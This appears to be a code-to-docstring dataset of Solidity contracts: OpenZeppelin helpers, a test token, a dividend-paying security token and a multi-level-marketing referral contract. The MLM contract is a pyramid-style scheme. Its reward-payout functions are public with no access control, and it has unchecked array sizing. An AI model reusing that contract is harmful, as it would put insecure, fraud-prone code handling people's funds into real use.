* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
|
View the amount of dividend in wei that an address has withdrawn. account The address of a token holder. return The amount of dividend in wei that `account` has withdrawn.
|
function withdrawnDividendOf(address account) public view returns (uint256) {
return withdrawnDividends[account];
}
| 11,963,605 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract TestERC20 is ERC20 {
constructor() ERC20("TestToken", "TEST") public {}
function mint(uint256 amount) public returns (bool) {
mint(msg.sender, amount);
}
function mint(address recipient, uint256 amount) public returns (bool) {
_mint(recipient, amount);
return true;
}
/**
* @notice called when user wants to withdraw tokens back to root chain
* @dev Should burn user's tokens. This transaction will be verified when exiting on root chain
* @param amount amount of tokens to withdraw
*/
function withdraw(uint256 amount) external {
_burn(msg.sender, amount);
}
}
|
called when user wants to withdraw tokens back to root chain Should burn user's tokens. This transaction will be verified when exiting on root chain amount amount of tokens to withdraw/
|
function withdraw(uint256 amount) external {
_burn(msg.sender, amount);
}
| 993,954 |
pragma solidity ^0.5.4;
import "../Openzeppelin/SafeMath.sol";
import "./ERC1594.sol";
import "../Libraries/UIntConverterLib.sol";
import "../Libraries/SafeMathInt.sol";
/**
* This is an adaptation of the standard implementation of the Dividend Paying Token Standard
* https://github.com/ethereum/EIPs/issues/1726
* @notice this Token corresponds to preferred Securities, that do not allow voting but gather more regular dividends
*/
contract DividendToken is ERC1594 {
using SafeMath for uint;
using SafeMathInt for int;
using UIntConverterLib for uint;
// Event to inform holders of new Distribution of dividends
event DividendsDistributed(
address indexed from,
uint256 weiAmount
);
// Event to inform holders of new Distribution of dividends
event DividendWithdrawn(
address indexed to,
uint256 weiAmount
);
// With `magnitude`, we can properly distribute dividends even if the amount of received ether is small.
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint constant internal magnitude = 2**128;
uint internal magnifiedDividendPerShare;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => int) internal magnifiedDividendCorrections;
mapping(address => uint) internal withdrawnDividends;
/*constructor(Controller _controller, TransferQueues _queues) ERC1594( _controller, _queues) public { //The super contract is a modifier of sorts of the constructor
}*/
/// @dev Distributes dividends whenever ether is paid to this contract.
function() external payable {
distributeDividends();
}
/**
* @notice Distributes ether to token holders as dividends.
* @dev It reverts if the total supply of tokens is 0.
* It emits the `DividendsDistributed` event if the amount of received ether is greater than 0.
* About undistributed ether:
* In each distribution, there is a small amount of ether not distributed,
* the magnified amount of which is
* `(msg.value * magnitude) % totalSupply()`.
* With a well-chosen `magnitude`, the amount of undistributed ether
* (de-magnified) in a distribution can be less than 1 wei.
* We can actually keep track of the undistributed ether in a distribution
* and try to distribute it in the next distribution,
* but keeping track of such data on-chain costs much more than
* the saved ether, so we don't do that.
*/
function distributeDividends() public payable {
require(totalSupply() > 0, "Currently, no tokens exist.");
if (msg.value > 0) {
magnifiedDividendPerShare = magnifiedDividendPerShare.add(
(msg.value).mul(magnitude) / totalSupply()
);
emit DividendsDistributed(msg.sender, msg.value);
}
}
/**
* @notice Withdraws the ether distributed to the sender.
* @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
*/
function withdrawDividend() external {
uint _withdrawableDividend = withdrawableDividendOf(msg.sender);
if (_withdrawableDividend > 0) {
withdrawnDividends[msg.sender] = withdrawnDividends[msg.sender].add(_withdrawableDividend);
emit DividendWithdrawn(msg.sender, _withdrawableDividend);
(msg.sender).transfer(_withdrawableDividend);
}
}
/**
* @notice View the amount of dividend in wei that an address can withdraw.
* @param _owner The address of a token holder.
* @return The amount of dividend in wei that `_owner` can withdraw.
*/
function dividendOf(address _owner) external view returns(uint) {
return withdrawableDividendOf(_owner);
}
/**
* @notice View the amount of dividend in wei that an address can withdraw.
* @param _owner The address of a token holder.
* @return The amount of dividend in wei that `_owner` can withdraw.
*/
function withdrawableDividendOf(address _owner) public view returns(uint) {
return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]);
}
/**
* @notice View the amount of dividend in wei that an address has withdrawn.
* @param _owner The address of a token holder.
* @return The amount of dividend in wei that `_owner` has withdrawn.
*/
function withdrawnDividendOf(address _owner) external view returns(uint) {
return withdrawnDividends[_owner];
}
/**
* @notice View the amount of dividend in wei that an address has earned in total.
* @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
* = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude
* @param _owner The address of a token holder.
* @return The amount of dividend in wei that `_owner` has earned in total.
*/
function accumulativeDividendOf(address _owner) public view returns(uint) {
return magnifiedDividendPerShare.mul(balanceOf(_owner)).toIntSafe()
.add(magnifiedDividendCorrections[_owner]).toUintSafe() / magnitude;
}
/**
* @dev transfers with regard to the dividend corrections, overrides super function
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The `bytes _data` allows arbitrary data to be submitted alongside the transfer.
*/
function transferWithData(address _to, uint256 _value, bytes memory _data) public {
int magCorrection = magnifiedDividendPerShare.mul(_value).toIntSafe();
magnifiedDividendCorrections[msg.sender] = magnifiedDividendCorrections[msg.sender].add(magCorrection);
magnifiedDividendCorrections[_to] = magnifiedDividendCorrections[_to].sub(magCorrection);
super.transferWithData( _to, _value, _data);
}
/**
* @dev transfers using the allowance for another address with regard to the dividend corrections,
* overrides super and calls it
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The `bytes _data` allows arbitrary data to be submitted alongside the transfer.
*/
function transferFromWithData(address _from, address _to, uint _value, bytes memory _data) public {
int magCorrection = magnifiedDividendPerShare.mul(_value).toIntSafe();
magnifiedDividendCorrections[_from] = magnifiedDividendCorrections[_from].add(magCorrection);
magnifiedDividendCorrections[_to] = magnifiedDividendCorrections[_to].sub(magCorrection);
super.transferFromWithData(_from, _to, _value, _data);
}
/**
* @dev function that issues tokens to an account.
* Updates magnifiedDividendCorrections to keep dividends unchanged.
* @param _tokenHolder The account that will receive the created tokens.
* @param _value The amount that will be created.
* @param _data The `bytes _data` allows arbitrary data to be submitted alongside the transfer.
*/
function issue(address _tokenHolder, uint _value, bytes memory _data) public onlyIssuer {
magnifiedDividendCorrections[_tokenHolder] = magnifiedDividendCorrections[_tokenHolder]
.sub( (magnifiedDividendPerShare.mul(_value)).toIntSafe() );
super.issue(_tokenHolder, _value, _data);
}
/**
* @notice This function redeems an amount of the token of a msg.sender.
* @dev overrides and calls the super implementation
* @param _value The amount of tokens to be redeemed
* @param _data The `bytes _data` it can be used in the token contract to authenticate the redemption.
*/
function redeem(uint _value, bytes memory _data) public {
magnifiedDividendCorrections[msg.sender] = magnifiedDividendCorrections[msg.sender]
.add( (magnifiedDividendPerShare.mul(_value)).toIntSafe() );
super.redeem(_value, _data);
}
/**
* @notice This function redeems an amount of the token of a msg.sender.
* @dev It is an analogy to `transferFrom`, and overrides the method in the super contract to hide it
* in order to enforce usage of this method that is aware of the dividend corrections
* @param _tokenHolder The account whose tokens gets redeemed.
* @param _value The amount of tokens to be redeemed
* @param _data The `bytes _data` that can be used in the super token contract to authenticate the redemption.
*/
function redeemFrom(address _tokenHolder, uint _value, bytes memory _data) public {
magnifiedDividendCorrections[_tokenHolder] = magnifiedDividendCorrections[_tokenHolder]
.add( (magnifiedDividendPerShare.mul(_value)).toIntSafe() );
super.redeemFrom(_tokenHolder, _value, _data);
}
}
|
transfers with regard to the dividend corrections, overrides super function _to The address to transfer to. _value The amount to be transferred. _data The `bytes _data` allows arbitrary data to be submitted alongside the transfer./
|
function transferWithData(address _to, uint256 _value, bytes memory _data) public {
int magCorrection = magnifiedDividendPerShare.mul(_value).toIntSafe();
magnifiedDividendCorrections[msg.sender] = magnifiedDividendCorrections[msg.sender].add(magCorrection);
magnifiedDividendCorrections[_to] = magnifiedDividendCorrections[_to].sub(magCorrection);
super.transferWithData( _to, _value, _data);
}
| 5,346,486 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.1;
contract MLM {
address public ownerWallet;
uint256 public totalUsers;
uint256 public rewardWallet;
uint256 public levelRewardWallet;
uint256 public distributionWallet;
uint256 public totalAmountDistributed;
address[] public levelWinners;
struct User {
uint256 id;
address inviter;
uint256 totalReferals;
uint256 totalWins;
uint256 totalRecycles;
uint256 levelsPurchased;
uint256 upline;
address[] uplines;
address[] referral;
uint256[] referralsIds;
bool isExist;
uint256 loss;
bool getLevelReward;
}
struct UserIncomes{
uint256 directIncome;
uint256 rewardIncome;
uint256 levelIncome;
uint256 recycleIncome;
uint256 upgradeIncome;
uint256 levelRewardIncome;
}
struct UserFunds{
uint256 recycleFund;
uint256 levelFund;
}
uint256[] public levels;
mapping(address => User) public users;
mapping(address => UserIncomes) public usersIncomes;
mapping(address => UserFunds) public usersFund;
// mapping(address => UserLevels) public userLevels;
mapping(uint256 => address) public users_ids;
event Register(address indexed addr, address indexed inviter, uint256 id);
event BuyLevel(
address indexed addr,
address indexed upline,
uint8 level
);
event buyLevelEvent(address indexed _user, uint256 _level);
constructor() public{
totalUsers = 0;
ownerWallet = msg.sender;
levels.push(0.1 ether);
levels.push(0.05 ether);
levels.push(0.1 ether);
levels.push(0.15 ether);
levels.push(0.2 ether);
levels.push(0.25 ether);
levels.push(0.3 ether);
levels.push(0.35 ether);
levels.push(0.4 ether);
levels.push(0.45 ether);
levels.push(0.5 ether);
newUser(msg.sender, address(0));
users[msg.sender].levelsPurchased = 10;
users[msg.sender].referral= new address[](0);
users[msg.sender].upline = 0;
users[msg.sender].uplines = new address[](0);
}
function newUser(address _addr, address _inviter) private {
totalUsers++;
users[_addr].id = totalUsers;
users[_addr].inviter = _inviter;
users_ids[totalUsers] = _addr;
users[_addr].isExist = true;
users[_addr].getLevelReward = false;
users[msg.sender].levelsPurchased = 0;
emit Register(_addr, _inviter, totalUsers);
}
function _register(
address _user,
address _inviter,
uint256 _value
) private {
require(users[_user].id == 0, "User arleady registered");
require(users[_inviter].id != 0, "Inviter not registered");
require(_value >= levels[0], "Insufficient funds");
rewardWallet += (levels[0] * 10) / 100;
levelRewardWallet += (levels[0] * 10) / 100;
uint256 referalMoney = (levels[0] * 80) / 100;
usersIncomes[_inviter].directIncome += (referalMoney - (referalMoney * 20) / 100);
usersFund[_inviter].recycleFund += (referalMoney * 10) / 100;
usersFund[_inviter].levelFund += (referalMoney * 10) / 100;
users[_inviter].totalReferals++;
// setUplines(users[_inviter].id);
// setUplines(users[msg.sender].id);
// if(usersIncomes[_inviter].recycleFund>=levels[0])
// recycleId(_inviter);
// if((usersIncomes[_inviter].levelFund>=levels[users[_inviter].levelsPurchased+1]) && users[_inviter].levelsPurchased < 10)
// autoBuyLevel(_inviter);
address(uint256(_inviter)).transfer(referalMoney - (referalMoney * 20) / 100);
totalAmountDistributed += (referalMoney - (referalMoney * 20) / 100);
newUser(_user, _inviter);
}
function register(uint256 _inviter_id) external payable {
// uint256 tempReferrerID = _inviter_id;
_register(msg.sender, users_ids[_inviter_id], msg.value);
address add;
uint256 id = _inviter_id;
if(users[users_ids[_inviter_id]].referral.length >= 4) {
add = findFreeReferrer(users_ids[_inviter_id]);
id = users[add].id;
}
// if( users[users_ids[id]].referral.length==4){
// levelWinners.push(users_ids[id]);
// }
users[users_ids[id]].referral.push(msg.sender);
users[users_ids[id]].referralsIds.push(users[msg.sender].id);
users[msg.sender].upline =id;
}
function buyLevel(uint256 _level) public payable {
require( _level > users[msg.sender].levelsPurchased,"Already purchased level" );
require(users[msg.sender].isExist, "User not exist");
require(_level > 0 && _level <= 10, "Incorrect level");
require(msg.value == levels[_level], "Incorrect Value");
require( users[msg.sender].levelsPurchased == _level - 1,"You haven't purchased previous level yet");
uint256 upgradeAmount = (levels[_level] * 20) / 100;
address _inviter = users[msg.sender].inviter;
usersIncomes[_inviter].levelIncome += (upgradeAmount -(20 * upgradeAmount) / 100);
usersFund[_inviter].recycleFund +=(10 * upgradeAmount) /100;
usersFund[_inviter].levelFund += (10 * upgradeAmount) / 100;
// if(usersIncomes[_inviter].recycleFund>=levels[0])
// recycleId(_inviter);
// if((usersIncomes[_inviter].levelFund>=levels[users[_inviter].levelsPurchased+1]) && users[_inviter].levelsPurchased < 10)
// autoBuyLevel(_inviter);
address(uint256(users[msg.sender].inviter)).transfer(
upgradeAmount - (20 * upgradeAmount) / 100
);
totalAmountDistributed += (upgradeAmount - (20 * upgradeAmount) / 100);
if (users[msg.sender].levelsPurchased + 1 < 10)
users[msg.sender].levelsPurchased += 1;
distributeLevelUpgradeAmount(_level, msg.sender);
emit buyLevelEvent(msg.sender, _level);
}
function autoBuyLevel(address _user) public {
uint256 _level = users[_user].levelsPurchased + 1;
require(_level > 0 && _level <= 10, "Incorrect level");
require( usersFund[_user].levelFund >= levels[_level],"Incorrect Value");
uint256 upgradeAmount = (levels[_level] * 20) / 100;
address _inviter= users[_user].inviter;
usersIncomes[_inviter].levelIncome += (upgradeAmount -(20 * upgradeAmount) /100);
usersFund[_inviter].recycleFund +=(10 * upgradeAmount) /100;
usersFund[_inviter].levelFund +=(10 * upgradeAmount) /100;
// if(usersIncomes[_inviter].recycleFund>=levels[0])
// recycleId(_inviter);
// if((usersIncomes[_inviter].levelFund>=levels[users[_inviter].levelsPurchased+1]) && users[_inviter].levelsPurchased < 10)
// autoBuyLevel(_inviter);
address(uint256(users[_user].inviter)).transfer(
(upgradeAmount - (20 * upgradeAmount) / 100)
);
totalAmountDistributed += (upgradeAmount - (20 * upgradeAmount) / 100);
usersFund[_user].levelFund -= levels[_level];
users[_user].levelsPurchased += 1;
//level distribution is done
distributeLevelUpgradeAmount(_level,_user);
emit buyLevelEvent(_user, _level);
}
function recycleId(address _user) public {
if(usersFund[_user].recycleFund >= levels[0]){
usersFund[_user].recycleFund -= levels[0];
users[_user].totalRecycles+=1;
uint256 referalMoney = (levels[0] * 80) / 100;
address _inviter = users[_user].inviter;
usersIncomes[_inviter].recycleIncome += (referalMoney -(referalMoney * 20) /100);
usersFund[_inviter].recycleFund += (referalMoney * 10) / 100;
usersFund[_inviter].levelFund += (referalMoney * 10) / 100;
address(uint256(_inviter)).transfer(referalMoney - (referalMoney * 20) / 100);
totalAmountDistributed += (referalMoney -(referalMoney * 20) /100);
rewardWallet += (levels[0] * 10) / 100;
levelRewardWallet += (levels[0] * 10) / 100;
// if(usersIncomes[_inviter].recycleFund>=levels[0])
// recycleId(_inviter);
// if((usersIncomes[_inviter].levelFund>=levels[users[_inviter].levelsPurchased+1]) && users[_inviter].levelsPurchased < 10)
// autoBuyLevel(_inviter);
}
}
function distributeReward(
uint256 _winner1,
uint256 _winner2,
uint256 _winner3
) public {
uint256 first = (50 * rewardWallet) / 100;
uint256 second = (30 * rewardWallet) / 100;
uint256 third = (20 * rewardWallet) / 100;
usersIncomes[users_ids[_winner1]].rewardIncome += (first - (20 * first) / 100);
usersIncomes[users_ids[_winner2]].rewardIncome += (second - (20 * second) / 100);
usersIncomes[users_ids[_winner3]].rewardIncome += (third - (20 * third) / 100);
address(uint256(users_ids[_winner1])).transfer(usersIncomes[users_ids[_winner1]].rewardIncome);
address(uint256(users_ids[_winner2])).transfer(usersIncomes[users_ids[_winner2]].rewardIncome);
address(uint256(users_ids[_winner3])).transfer(usersIncomes[users_ids[_winner3]].rewardIncome);
users[users_ids[_winner1]].totalWins += 1;
users[users_ids[_winner2]].totalWins += 1;
users[users_ids[_winner3]].totalWins += 1;
totalAmountDistributed += (usersIncomes[users_ids[_winner1]].rewardIncome +
usersIncomes[users_ids[_winner2]].rewardIncome + usersIncomes[users_ids[_winner3]].rewardIncome);
rewardWallet = 0;
address _inviter1 = users[users_ids[_winner1]].inviter;
address _inviter2 = users[users_ids[_winner2]].inviter;
address _inviter3 = users[users_ids[_winner3]].inviter;
usersFund[_inviter1].recycleFund += (10 * first) / 100;
usersFund[_inviter2].recycleFund += (10 * second) / 100;
usersFund[_inviter3].recycleFund += (10 * third) / 100;
usersFund[_inviter1].levelFund += (10 * first) / 100;
usersFund[_inviter2].levelFund += (10 * second) / 100;
usersFund[_inviter3].levelFund += (10 * third) / 100;
// if(usersIncomes[_inviter1].recycleFund>=levels[0])
// recycleId(_inviter2);
// if((usersIncomes[_inviter1].levelFund >= levels[users[_inviter1].levelsPurchased+1]) && (users[_inviter1].levelsPurchased < 10))
// autoBuyLevel(_inviter1);
// if(usersIncomes[_inviter2].recycleFund>=levels[0])
// recycleId(_inviter2);
// if((usersFund[_inviter2].levelFund >= levels[users[_inviter2].levelsPurchased+1]) && (users[_inviter2].levelsPurchased < 10))
// autoBuyLevel(_inviter2);
// if(usersIncomes[_inviter3].recycleFund>=levels[0])
// recycleId(_inviter3);
// if((usersFund[_inviter3].levelFund >= levels[users[_inviter3].levelsPurchased+1]) && (users[_inviter3].levelsPurchased < 10))
// autoBuyLevel(_inviter3);
}
function distributeLevelReward() public{
uint256 size = setLevelWinners();
uint256 totalprice = levelRewardWallet/size;
uint256 price = totalprice - (20*totalprice)/100;
uint256 recyclePrice = (10*totalprice)/100;
uint256 levelPrice = (10*totalprice)/100;
for(uint256 i=0;i<levelWinners.length;i++){
if(levelWinners[i]==address(0)){
distributionWallet += price;
}
address(uint256(levelWinners[i])).transfer(price);
usersIncomes[levelWinners[i]].levelRewardIncome += price;
address _inviter = users[levelWinners[i]].inviter;
usersFund[_inviter].recycleFund += recyclePrice;
usersFund[_inviter].levelFund += levelPrice;
// if(usersIncomes[_inviter].recycleFund>=levels[0])
// recycleId(_inviter);
// if((usersIncomes[_inviter].levelFund >= levels[users[_inviter].levelsPurchased+1]) && (users[_inviter].levelsPurchased < 10))
// autoBuyLevel(_inviter);
}
totalAmountDistributed += price*levelWinners.length;
}
function distributeLevelUpgradeAmount(uint256 _level, address _user) public{
uint256 x = (levels[_level]*8)/100;
uint256 y = (20*x)/100;
uint256 price = (x-y);
setUplines(users[_user].id);
address[] memory uplines = new address[](10);
uplines = users[_user].uplines;
for(uint256 i=0;i<10;i++){
if(uplines[i]==address(0))
{
//some changes needed
distributionWallet += price;
break;
}
else if(users[uplines[i]].levelsPurchased>=(i+1)){
usersIncomes[uplines[i]].upgradeIncome += price;
usersFund[uplines[i]].recycleFund += (10*x)/100;
usersFund[uplines[i]].levelFund += (10*x)/100;
// if(usersIncomes[users_ids[uplines[i]]].recycleFund>=levels[0])
// recycleId(users[users_ids[uplines[i]]].inviter);
// if((usersIncomes[users_ids[user.upline]].levelFund >= levels[users[users_ids[user.upline]].levelsPurchased+1]) && (users[users_ids[user.uplines[i]]].levelsPurchased < 10))
// autoBuyLevel(users[users_ids[user.uplines[i]]].inviter);
address(uint256(uplines[i])).transfer(price);
totalAmountDistributed += price;
}
else{
users[uplines[i]].loss += price;
distributionWallet += price;
}
}
}
function getTotalAmountWithdrawn() public view returns (uint256) {
return totalAmountDistributed;
}
function getTotalUsers() public view returns (uint256) {
return totalUsers;
}
function getRewardWallet()public view returns (uint256) {
return rewardWallet;
}
function getLevelRewardWallet() public view returns (uint256) {
return levelRewardWallet;
}
function getDirectIncome(address _add) public view returns (uint256){
return usersIncomes[_add].directIncome;
}
function getUserInfo(uint256 _id)
public
view
returns (
address inviter,
uint256 totalReferals,
uint256 totalRecycles,
uint256 totalWins,
uint256 levelsPurchased,
uint256 loss,
uint256 id
)
{
User memory user = users[users_ids[_id]];
return (
user.inviter,
user.totalReferals,
user.totalRecycles,
user.totalWins,
user.levelsPurchased,
user.loss,
user.id
);
}
function getUsersIncomes(uint256 _id) public view returns (
uint256 directIncome,
uint256 rewardIncome,
uint256 levelIncome,
uint256 recycleIncome,
uint256 upgradeIncome,
uint256 levelRewardIncome
)
{
return (
usersIncomes[users_ids[_id]].directIncome,
usersIncomes[users_ids[_id]].rewardIncome,
usersIncomes[users_ids[_id]].levelIncome,
usersIncomes[users_ids[_id]].recycleIncome,
usersIncomes[users_ids[_id]].upgradeIncome,
usersIncomes[users_ids[_id]].levelRewardIncome
);
}
function getUsersFunds(uint256 _id) public view returns(
uint256 recycleFund,
uint256 levelFund
){
return (
usersFund[users_ids[_id]].recycleFund,
usersFund[users_ids[_id]].levelFund
);
}
function withDrawlevelFund() public {
require(users[msg.sender].levelsPurchased >= 10, "you cannot withdraw amount");
address(uint256(msg.sender)).transfer(
usersFund[msg.sender].levelFund
);
usersFund[msg.sender].levelFund = 0;
}
function withdrawDistributionWallet() public{
require(msg.sender == ownerWallet,"you are not owner");
address(uint256(ownerWallet)).transfer(distributionWallet);
totalAmountDistributed += distributionWallet;
distributionWallet = 0;
}
function findFreeReferrer(address _user) public view returns(address) {
if(users[_user].referral.length < 4) return _user;
address[] memory referrals = new address[](30000);
referrals[0] = users[_user].referral[0];
referrals[1] = users[_user].referral[1];
referrals[2] = users[_user].referral[2];
referrals[3] = users[_user].referral[3];
address freeReferrer;
bool noFreeReferrer = true;
for(uint256 i = 0; i < 30000; i++) {
if(users[referrals[i]].referral.length == 4) {
referrals[(i+1)*4] = users[referrals[i]].referral[0];
referrals[(i+1)*4+1] = users[referrals[i]].referral[1];
referrals[(i+1)*4+2] = users[referrals[i]].referral[2];
referrals[(i+1)*4+3] = users[referrals[i]].referral[3];
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function getLevelsPurchased(uint256 _id) public view returns(uint256){
return users[users_ids[_id]].levelsPurchased;
}
function viewUserReferral(uint256 _id) public view returns(uint256[] memory) {
return users[users_ids[_id]].referralsIds;
}
function setUplines(uint256 _id) public{
address[] memory uplinesLocal=new address[](10);
uint256 userId = users[users_ids[_id]].upline;
for(uint256 i=0;i<10;i++){
if(userId == 0)
break;
uplinesLocal[i]=users_ids[userId];
userId = users[users_ids[userId]].upline;
}
users[users_ids[_id]].uplines = uplinesLocal;
}
function getUplines(uint256 _id) public view returns(address[] memory){
return users[users_ids[_id]].uplines;
}
function setLevelWinners() public returns(uint256){
address[] memory levelWinner = new address[](100);
uint256 i;
uint256 j=0;
for(i=1;i<=totalUsers;i++){
if(users[users_ids[i]].referral.length==4){
levelWinner[j++]= (users_ids[i]);
}
}
levelWinners = levelWinner;
return j;
}
function getLevelWinners() public view returns(address[] memory){
return levelWinners;
}
}
|
some changes needed if(usersIncomes[users_ids[uplines[i]]].recycleFund>=levels[0]) recycleId(users[users_ids[uplines[i]]].inviter); if((usersIncomes[users_ids[user.upline]].levelFund >= levels[users[users_ids[user.upline]].levelsPurchased+1]) && (users[users_ids[user.uplines[i]]].levelsPurchased < 10)) autoBuyLevel(users[users_ids[user.uplines[i]]].inviter);
|
function distributeLevelUpgradeAmount(uint256 _level, address _user) public{
uint256 x = (levels[_level]*8)/100;
uint256 y = (20*x)/100;
uint256 price = (x-y);
setUplines(users[_user].id);
address[] memory uplines = new address[](10);
uplines = users[_user].uplines;
for(uint256 i=0;i<10;i++){
if(uplines[i]==address(0))
{
distributionWallet += price;
break;
}
else if(users[uplines[i]].levelsPurchased>=(i+1)){
usersIncomes[uplines[i]].upgradeIncome += price;
usersFund[uplines[i]].recycleFund += (10*x)/100;
usersFund[uplines[i]].levelFund += (10*x)/100;
address(uint256(uplines[i])).transfer(price);
totalAmountDistributed += price;
}
else{
users[uplines[i]].loss += price;
distributionWallet += price;
}
}
}
| 6,433,180 |
/**
*Submitted for verification at Etherscan.io on 2021-08-16
*/
/**
SPDX-License-Identifier: Unlicensed
**/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
